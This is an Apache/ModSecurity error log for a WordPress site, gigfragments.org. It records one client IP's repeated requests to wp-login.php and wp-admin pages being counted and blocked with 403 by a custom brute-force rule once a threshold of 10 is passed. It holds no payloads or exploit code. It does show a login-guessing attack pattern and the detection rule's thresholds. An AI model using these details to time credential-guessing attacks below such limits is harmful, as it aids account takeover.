[Fri Feb 27 21:06:31.866746 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:58964] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGW18KBhrfI6KNv9Ri4hQAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:34.255519 2026] [:error] [pid 56075:tid 56093] [client 159.203.62.100:58966] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGW2sKBhrfI6KNv9Ri4lwAAAA8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:35.157639 2026] [:error] [pid 54103:tid 54173] [client 159.203.62.100:58982] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGW2-vG4MPCmE0B2sChQAAAAMI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:35.992735 2026] [:error] [pid 62998:tid 63009] [client 159.203.62.100:58992] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW21QeueXZDUmoLolA0QAAAQc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:38.763980 2026] [:error] [pid 62998:tid 63007] [client 159.203.62.100:58992] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW3lQeueXZDUmoLolA1gAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:40.007604 2026] [:error] [pid 62998:tid 63017] [client 159.203.62.100:58992] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW4FQeueXZDUmoLolA2AAAAQ8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:41.229316 2026] [:error] [pid 62998:tid 63013] [client 159.203.62.100:58992] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGW4VQeueXZDUmoLolA2gAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:42.059758 2026] [:error] [pid 56075:tid 56081] [client 159.203.62.100:52284] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGW4sKBhrfI6KNv9Ri4vgAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:42.903532 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:52296] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGW4sKBhrfI6KNv9Ri4wwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:43.755300 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:52300] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGW48KBhrfI6KNv9Ri4xwAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:44.602786 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:52304] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW5MKBhrfI6KNv9Ri4zAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:44.602877 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:52304] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW5MKBhrfI6KNv9Ri4zAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:45.445859 2026] [:error] [pid 54231:tid 54251] [client 159.203.62.100:52314] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGW5eTvb5AeyJCdY7AKtQAAAFE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:46.278001 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:52328] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGW5vnSUDZue59Px9sK7QAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:47.113000 2026] [:error] [pid 54231:tid 54240] [client 159.203.62.100:52334] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGW5-Tvb5AeyJCdY7AKvQAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:47.948623 2026] [:error] [pid 54103:tid 54194] [client 159.203.62.100:52350] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGW5-vG4MPCmE0B2sChQwAAANc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:48.780559 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:52364] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW6MKBhrfI6KNv9Ri43wAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:51.623250 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:52364] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW68KBhrfI6KNv9Ri46wAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:54.251300 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:52364] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW7sKBhrfI6KNv9Ri49AAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:54.251380 2026] [:error] [pid 56075:tid 56086] [client 159.203.62.100:52364] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW7sKBhrfI6KNv9Ri49AAAAAk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:55.085770 2026] [:error] [pid 49306:tid 49308] [client 159.203.62.100:50224] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGW7_nSUDZue59Px9sLAAAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:55.915966 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:50226] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGW78KBhrfI6KNv9Ri4-AAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:56.757345 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:50228] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGW8MKBhrfI6KNv9Ri4-wAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:57.589636 2026] [:error] [pid 54103:tid 54188] [client 159.203.62.100:50238] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGW8evG4MPCmE0B2sChRwAAANE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:58.429580 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:50240] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW8oa650YPyxXVeRZAzQAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:01.039512 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:50240] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW9Ya650YPyxXVeRZA0QAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:02.316130 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:50240] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW9oa650YPyxXVeRZA0wAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:02.316224 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:50240] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 17"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW9oa650YPyxXVeRZA0wAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:03.156025 2026] [:error] [pid 54231:tid 54250] [client 159.203.62.100:45842] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGW9-Tvb5AeyJCdY7AKxQAAAFA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:03.989153 2026] [:error] [pid 54102:tid 54164] [client 159.203.62.100:45856] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGW93i74D4fiYUm_Gdq9wAAAJQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:04.831133 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:45866] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGW-MKBhrfI6KNv9Ri5GAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:05.666941 2026] [:error] [pid 62998:tid 63023] [client 159.203.62.100:45876] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGW-VQeueXZDUmoLolA_gAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:06.505744 2026] [:error] [pid 54231:tid 54258] [client 159.203.62.100:45882] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW-uTvb5AeyJCdY7AKxgAAAFg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:09.131257 2026] [:error] [pid 54231:tid 54257] [client 159.203.62.100:45882] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW_eTvb5AeyJCdY7AKyAAAAFc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:10.378992 2026] [:error] [pid 54231:tid 54243] [client 159.203.62.100:45882] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW_uTvb5AeyJCdY7AKyQAAAEk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:13.071328 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:45882] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXAeTvb5AeyJCdY7AKzwAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:14.244267 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:45882] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXAuTvb5AeyJCdY7AK0AAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:14.244357 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:45882] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXAuTvb5AeyJCdY7AK0AAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:16.442413 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:44060] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXBMKBhrfI6KNv9Ri5TgAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:17.674743 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:44060] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXBcKBhrfI6KNv9Ri5WwAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:20.268194 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:44060] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXCMKBhrfI6KNv9Ri5bQAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:21.547664 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:44060] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXCcKBhrfI6KNv9Ri5cAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:21.547779 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:44060] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXCcKBhrfI6KNv9Ri5cAAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:23.838954 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:41670] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGXC8KBhrfI6KNv9Ri5fAAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:24.681046 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:41678] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGXDPnSUDZue59Px9sLIwAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:25.516719 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:41692] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGXDYa650YPyxXVeRZA9wAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:26.348732 2026] [:error] [pid 62998:tid 63007] [client 159.203.62.100:41700] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXDlQeueXZDUmoLolBDgAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:26.348809 2026] [:error] [pid 62998:tid 63007] [client 159.203.62.100:41700] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXDlQeueXZDUmoLolBDgAAAQU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:28.535802 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:41716] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXEMKBhrfI6KNv9Ri5kgAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:31.326586 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:41716] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXE8KBhrfI6KNv9Ri5ngAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:31.326645 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:41716] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 16"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXE8KBhrfI6KNv9Ri5ngAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:33.598003 2026] [:error] [pid 54231:tid 54240] [client 159.203.62.100:50400] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXFeTvb5AeyJCdY7AK3QAAAEY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:07:34.881093 2026] [:error] [pid 54231:tid 54255] [client 159.203.62.100:50400] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGXFuTvb5AeyJCdY7AK4QAAAFU"], referer: https://gigfragments.org/wp-login.php
